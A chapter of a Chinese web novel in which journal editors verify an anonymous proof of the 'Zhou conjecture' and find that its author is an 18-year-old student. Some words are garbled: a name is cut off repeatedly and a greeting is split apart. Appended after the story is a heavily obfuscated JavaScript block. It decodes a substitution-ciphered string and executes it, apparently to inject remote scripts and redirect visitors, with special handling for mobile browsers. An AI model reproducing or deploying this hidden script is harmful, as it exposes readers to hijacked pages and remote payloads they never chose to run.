第72章(1 / 2)

“周氏猜测”是华国数学家周海中提出来的, 内容关于梅森素数, 影响倒不是特别大, 但在数学界还是挺受欢迎的,被称说是非常“具有数学美的式子”。

别看式子似乎也没多复杂, 但硬生生是从上个世纪起, 那么多试着证明它的人, 谁都没有成功。还有不相信这个猜测的一些人, 想着要证明出这个猜测的不成立, 说周海中的数学成果是错误的, 也一直没证明成功。

Ethe

本人对“周氏猜测”的兴趣不是很大,更关注“哥德巴赫猜想”或者“黎曼假设”这种leve的,但也因着身边有好几个和蒋业类似的,出于喜欢或者征服欲而坚持在试着证明这个理论的朋友, 便对这个颇有了解。

自从成为《数学年刊》的学术编辑, 这几年里, 他看到的这些著名猜测的证明理论, 不说一百,也有五十,但每一次都有很大的问题,便也真的没报多少期望,只是耐不过蒋业一而再的催促罢了。

肯定又是一篇“一步错, 步步错”的证明论文吧。

在看正文之前, Ethe

是这么想的。

只是, 当他点开这篇论文, 却发现自己完全想错了。

摘要干脆,思路清晰,最重要的是,那个证明过程看似繁琐至极,但仔细想想,其实都是必须考虑到的方面。

就像是高考数学试卷的难题也要考虑好几种情况,必须所有情况都答到且正确,老师才会给你满分,证明理论亦然。

看这种证明论文,Ethe

习惯面前放着笔和纸,不看投稿人的计算过程,只相信自己亲笔验算的结果,因为在验算的时候经常会突然想到另一种可能,直接就能发现论文证明过程最关键的错漏。

可这篇论文,无论他怎么去验算,正推、逆推、甚至是直接代入到其他用到“周氏猜测”的实际案例,始终没发现任何有疑问的地方。

当即,Ethe

便倒吸了一口气,一时间,心情又是激动,又是紧张和忐忑,既期待“周氏猜测”真的被证明,也害怕自己如果真的判断这篇论文成功证明出了这个猜测,期刊将论文刊登出去,却被发现错漏之处,导致期刊的地位受到影响,在学术界成为反面教材。

Ethe

已经在看论文的事,蒋业并不知道,依旧每天都在疯狂暗示地催促。

终于,在一天晚上,他收到了来自Ethe

的消息:“蒋,那篇论文,你和你的朋友们,是都看过并验证过了吗?”

因为那篇“周氏猜测”的论文,对Ethe

的消息,蒋业一直是时刻准备着,便在看到他的问话后,秒回:“是的,Ethe

。我,我的同事顾秉钧,还有我的老师江海潮,都没有找出这篇论文任何存疑的地方,给的评审回复都是通过,你怎么看?”

能怎么看?

羡慕地看呗!

深呼吸一口气,Ethe

敲击键盘,一个字母,一个字母,缓慢地给出自己的决定:“蒋,我的评审回复也是通过。”

这几天,他用了各种方法,试图找出论文不合逻辑或者存疑的地方,却始终毫无进展。

更令人不敢置信的是,他还愈发清楚地意识到,这篇论文投稿者在写的时候,不知道是因为验算了太多遍这个证明过程,还是自身的实力够,可以感觉到那种游刃有余的轻松,而不是紧绷着在那里写的扑面而来的生硬感。

能把“周氏猜测”证明出来的人,要不就是自身本来就是数学大佬,要不就是数学天赋绝对高得惊人,但数学天赋高得惊人的也肯定是数学大佬,这就是一个互通关系了。

美国和华国有时差,Ethe

找蒋业的时候,时间已经临近半夜12点了,他差不多都要闭上眼睡着了。

可现在,看着屏幕上Ethe

发来的那个消息,蒋业一个鲤鱼打挺便从床上坐了起来,旁边早已睡着的妻子被他这动作弄得一惊,迷瞪瞪地翻了个身:“大半夜的,你干嘛呢?”

“周氏猜测!周氏猜测真的被证明了!”蒋业拿着手机的手都在抖,开口,声音甚至是有些哽咽的。

“周氏猜测”的证明,是蒋业从当时年少便开始的坚持,如今,终于被成功证明,他真的很开心,更是激动得有些热泪盈眶。

搞学术的人其实很单纯,他们热爱搞研究,往往愿意将自己的一生奉献于此,就算羡慕他人的研究成果,也会被领域有了新进展的喜悦压住,只剩欢欣。

蒋业没有孩子,他是丁克一族,觉得既然自己更爱学术,给不了孩子那么多的照顾和关爱便还是不要生的好,妻子也很能理解他的想法,更是清楚如今的他到底有多开心和激动。

之前,丈夫刚刚拿到那篇“周氏猜测”的证明论文时,就一副很开心的模样,高兴又有人将注意力集中在了这个猜测上。

后来,他觉得这篇论文确实将“周氏猜测”证明了,便大半夜和他那个叫顾秉钧的同事煲了好几个小时的电话粥,还每天定时去给Ethe

发“Good mor

i

g”,真的是司马昭之心路人皆知。

如今,开心成这样,也毫不意外。

Ethe

是负责这篇论文审核的最后一个学术编辑,因此,当他给出回复后,期刊就会立刻通知被匿名了的投稿人,Ta的论文已经通过审核,将会被《数学年刊》录用,等待排期。

这个等待排期,是个比较玄学的事,短的一到两个月,长的一到两年,都有可能,具体情况要根据期刊来分析。

《数学年刊》是季刊,一年四期,今年六月,也就是下个月,就会出第二期,稿子自然是早就选好了的,前两天刚被拿去,下厂刊印。

按理说,这篇“周氏猜测”的证明论文,如果排期,最早也得在四个月后的第三期才能刊登出来。但是,因为这篇论文在数学界眨眼就能预见的可能引起的热潮和影响,几个学术编辑都觉得,可以废掉一些成本,将之插个队,直接刊登在下个月的期刊上。

同样是为了销量和影响力更换稿子,但学术期刊和八卦娱乐类杂志的不同,就是根本的出发点是为了一个学科领域的进步。

反正会付钱,厂家那边没有什么问题,爽快地重印了。

《数学年刊》的官网还发了一个预告宣传,表示即将上市的6月刊有一篇关于“周氏猜测”的证明论文,期待大家共同研究,为数学领域做出贡献。

作为SCI之一,也是数学类学术期刊中影响因子排名较高的一本期刊,《数学年刊》自然是许多数学爱好者以及学术界人士的重点关注存在。

在上个世纪,数学界有许多惊才绝艳的天才数学家,给出了许多猜测的证明,也提出了许多非常有建设性意义的理论,但这个世纪,数学界却略略有些平静,小小的波纹有,像这种证明世纪难题的人也很多,但基本都是空包弹、瞎吹,真的登了SCI的,这还是头一个。

因此,这个消息一出,当即引起了数学界许多人的注意,所有研究梅森素数、喜欢看新的研究成果以及对“周氏猜测”感兴趣的人,便都在期待这篇论文了,官网后台的杂志预定量蹭蹭往上涨。

大家都很好奇,到底是身为SCI的《数学年刊》出了错漏,还是真的有人把“周氏猜测”给证明了出来。

数学界的人好奇,《数学年刊》的几个学术编辑也很好奇。

只不过,他们好奇的,是这篇论文的投稿者到底是谁,都觉得是欧洲人的可能性比较大,因为英语水平看起来很不错,非常自然和流畅,但也说不准,毕竟写惯了英文学术论文的人都写得不错。

Ethe

在群里直言,说觉得是他们美国的,甚至直接猜测就是他认识的一个朋友,也是普林斯顿数学研究院的,因为兴趣,一直在研究“周氏猜测”,最近看起来心情不错。

蒋业觉得不是,肯定是他们华国的,华国人提出的猜测,就应该由华国人自己来证明给全世界看。

Ethe

心中暗暗摇头,觉得蒋业肯定是要失望了。

的确,华国的应试教育搞得不错,无论年龄,华国学生的数学水平普遍比欧洲的学生高。但事实上,近几年,华国根本没出几个真的在国际有巨大影响的数学家,小波小闹当然有,可这种世纪难题……

抱歉,他真的想不出来华国有哪个关注梅森素数或者“周氏猜测”的比较厉害的数学家。

学术编辑审稿都是匿名,以防有认识的人给走后门,或者因为国籍而有差别待遇,但在已经给了作者回复后,稿子都已经下厂了,下个月就会直接开售,负责相关方面的期刊工作人员直接告诉他们也没什么。

明夏,女,东云县第二中学,高三9班学生,无其他过稿经历,无指导老师,无第二作者,也无另外的通讯作者,只有她自己。

Ethe

震惊了。

高三?这是才18岁吗?18岁就证明出了“周氏猜测”这个世纪难题?

他只是近几年不怎么关注华国那个应试教育了,什么时候就出现了这么一个天才!!!

Ethe

赶忙打开网页,试着搜了一下“明夏”这个华国学生。

原来她是华国那个“希望之光”英语风采大赛全国总冠军,怪不得英语写得那么好,但是也确实是用词很严谨和合适,远超同龄人的水平。

至于数学方面,倒是没有什么显著成果,但也可以看得出实力不错,写的论文进了“成邱宇数学奖”的总决赛,是今年HMO国决的第一,今年暑假会参加IMO……

等一下。

IMO?

他今年也是美国IMO国家队的领队数学家,看来,有机会和华国这个叫明夏的学生见面交流一下。

没错,是交流,而不是单纯的见面满足好奇心。

这个年纪,就把那么多数学界还算比较有地位的人都没有证明出来的“周氏猜测”给证明了出来,真的是后生可畏啊。

看来,日后,华国还是有希望在数学界大震声望的。

而太平洋的那边,正坐在办公室的蒋业,在看到投稿人的真实资料后,当即就震惊了。

明夏?是上次老顾给他介绍的那个拿了HMO国决第一的女生?

他靠靠靠靠靠!!!

老顾知道吗!!!

那个女生竟然把“周氏猜测”给证明出来了!!!

震惊之下,他甚至来不及和刚刚敲门,想来问问题的学生说一下,便赶忙冲过去找办公室就在对面的顾秉钧。

“老顾老顾老顾!你知道吗?我之前给你看的那个周氏猜测的论文,竟然就是那个名叫明夏的女生投稿的!!!”

冲进顾秉钧的办公室,蒋业便将手机直接怼到了他眼前,差点没把他眼镜直接怼下来。

顾秉钧被他吓一跳,下意识往后仰了一下身子,离得稍稍远了点,才去看蒋业手机屏幕上的消息,眼睛顿时一亮。

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();